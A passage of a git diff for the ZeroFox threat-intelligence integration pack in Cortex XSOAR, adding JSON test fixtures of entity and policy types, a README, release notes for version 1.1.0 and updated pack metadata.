"recommended_policy": { + "id": 101987, + "name": "Mobile App Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/101987/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/9/" + } + ] + }, + { + "id": 10, + "name": "BIN/Credit Card", + "description": "Protect bin or credit card numbers", + "is_default": false, + "recommended_policy": { + "id": 106085, + "name": "BIN/Credit Card Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/106085/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/10/" + } + ] + }, + { + "id": 11, + "name": "Third Party Vendor", + "description": "Protect a partner or third party vendor", + "is_default": false, + "recommended_policy": { + "id": 104037, + "name": "Third Party Vendor Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/104037/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/11/" + } + ] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_no_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_no_records.json new file mode 100644 index 000000000000..a07f3f09fac1 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_no_records.json @@ -0,0 +1,6 @@ +{ + "count": 0, + "next": null, + "previous": null, + "results": [] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_13_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_13_records.json new file mode 100644 index 000000000000..64fcea81a0c7 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_13_records.json @@ -0,0 +1,108 @@ +{ + "policies": [ + { + "id": "63982", + "name": "Recommended", + "is_default": true, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "63983", + "name": "Brand Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "63984", + "name": "Web Domain Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "63985", + "name": "Executive/VIP Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "63986", + "name": "Location Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "63987", + "name": "Product Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "63988", + "name": "Email Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": true + }, + { + "id": "70188", + "name": "Remote Workforce Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": false + }, + { + "id": "93164", + "name": "Physical Security Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": false + }, + { + "id": "101987", + "name": "Mobile App Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": false + }, + { + "id": "104037", + "name": "Third Party Vendor Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": false + }, + { + "id": "106085", + "name": "BIN/Credit Card Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": false + }, + { + "id": "112258", + "name": "IPs & Hostnames Recommended", + "is_default": false, + "is_editable": true, + "is_recommended": true, + "is_active": false + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_no_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_no_records.json new file mode 100644 index 000000000000..4c458a329648 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_no_records.json @@ -0,0 +1,3 @@ +{ + "policies": [] +} diff --git a/Packs/ZeroFox/README.md b/Packs/ZeroFox/README.md index e69de29bb2d1..ebd7d05477a0 100644 --- a/Packs/ZeroFox/README.md +++ b/Packs/ZeroFox/README.md @@ -0,0 +1,13 @@ +Note: Support for this Pack moved to the partner on JULY, 28, 2023. +Please contact the partner directly via the support link on the right. + +# ZeroFox + +ZeroFOX, a leading cybersecurity firm specializing in digital risk protection, enhances the platform's capability to monitor and counter threats from various online platforms including social media, mobile apps, and the broader web. Through this integration, users can leverage ZeroFOX's expertise in identifying threats like phishing attacks, information leaks, and account compromises, all within the unified Cortex XSOAR environment, ensuring a holistic and agile approach to digital security + +### What does this pack do? + +- Mirror incidents between XSOAR incidents and ZeroFox alerts. +- Allow to request takedowns over threats. +- Allow to submit threats. +- Look up compromised assets in our CTI Feeds diff --git a/Packs/ZeroFox/ReleaseNotes/1_1_0.md b/Packs/ZeroFox/ReleaseNotes/1_1_0.md new file mode 100644 index 000000000000..65cb4a6a4cd3 --- /dev/null +++ b/Packs/ZeroFox/ReleaseNotes/1_1_0.md @@ -0,0 +1,22 @@ + +#### Integrations + +##### ZeroFox + +- Updated the docker image to: *demisto/python3:3.10.12.66339*. +- Added the command to update alert notes in ZeroFox, `zerofox-modify-alert-notes`. +- Added the command to submit threats in ZeroFox, `zerofox-submit-threat`. +- Added the alert's offending content to the response of `zerofox-get-alert` and `zerofox-list-alerts`. +- Added the ability to look up IPs against ZeroFox CTI feeds with the following new command `zerofox-search-malicious-ip`. +- Added the ability to look up domains against ZeroFox CTI feeds with the following new command `zerofox-search-compromised-domain`. +- Added the ability to look up emails against ZeroFox CTI feeds with the following new command `zerofox-search-compromised-email`. +- Added the ability to look up hashes against ZeroFox CTI feeds with the following new command `zerofox-search-malicious-hash`. +- Added the ability to look up exploits against ZeroFox CTI feeds with the following new command `zerofox-search-exploit`. +- Added the incoming mirroring feature. +- Completed adoption process. + +#### Mappers + +##### New: ZeroFox Mapping + +- Added the ZeroFox Mapping to ensure the correct usage of the mirroring feature. diff --git a/Packs/ZeroFox/pack_metadata.json b/Packs/ZeroFox/pack_metadata.json index 3c46297ff161..24686eae7525 100644 --- a/Packs/ZeroFox/pack_metadata.json +++ b/Packs/ZeroFox/pack_metadata.json @@ -1,11 +1,12 @@ { "name": "ZeroFox", "description": "Cloud-based SaaS to detect risks found on social media and digital channels.", - "support": "xsoar", - "currentVersion": "1.0.8", - "author": "Cortex XSOAR", - "url": "https://www.paloaltonetworks.com/cortex", - "email": "", + "support": "partner", + "currentVersion": "1.1.0", + "author": "ZeroFox", + "url": "https://www.zerofox.com/contact-us/", + "email": "integration-support@zerofox.com", + "created": "2020-04-14T00:00:00Z", "categories": [ "Data Enrichment & Threat Intelligence" @@ -16,5 +17,7 @@ "marketplaces": [ "xsoar", "marketplacev2" - ] + ], + "dependencies": {}, + "displayedImages": [] }